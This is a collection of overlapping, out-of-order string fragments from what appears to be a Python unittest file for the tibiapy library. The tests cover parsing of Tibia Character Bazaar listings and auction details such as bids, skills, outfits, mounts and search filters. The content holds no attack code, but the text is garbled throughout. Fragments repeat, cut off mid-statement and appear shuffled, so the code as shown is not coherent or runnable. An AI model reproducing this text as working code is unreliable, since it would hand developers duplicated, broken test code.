"self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2,",
"tests.tests_tibiapy import TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\",
"auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item",
"self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id)",
"len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro')))",
"auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count)",
"self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date,",
"self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots)",
"auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0,",
"spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND))",
"self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900,",
"bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url)",
"auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1,",
"auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements))",
"self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893,",
"len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) #",
"self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0]",
"self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion",
"self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST,",
"self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type)",
"auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid)",
"self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots)",
"self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def",
"def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25,",
"= \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page)",
"self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED,",
"self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id)",
"auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits)",
"test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\"",
"self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name)",
"auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count)",
"box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex)",
"self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url)",
"test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries))",
"self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level)",
"test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1,",
"staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content",
"bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\",",
"section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction)",
"auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\",",
"self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name)",
"self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries))",
"self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name)",
"auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1,",
"auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity)",
"auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience)",
"self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526,",
"def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar)",
"auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22,",
"len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self):",
"= \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED =",
"bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar)",
"auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated",
"len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1,",
"soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self):",
"bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type)",
"len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior',",
"Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800,",
"= \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT))",
"self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar =",
"\\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY",
"\\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS",
"self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED),",
"tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\",
"= Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161,",
"len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255,",
"bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id)",
"auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime)",
"auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth",
"tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED))",
"self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def",
"auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level)",
"auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self):",
"content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) #",
"bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url)",
"auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points)",
"self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye)",
"bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid)",
"of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715,",
"self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name)",
"self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar)",
"= \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons,",
"\"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar",
"self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items))",
"self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3,",
"= auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def",
"self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points)",
"self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id)",
"self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\",",
"an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction",
"self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with",
"class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages)",
"self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages)",
"CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\"",
"def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent):",
"auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url)",
"self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries))",
"auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms))",
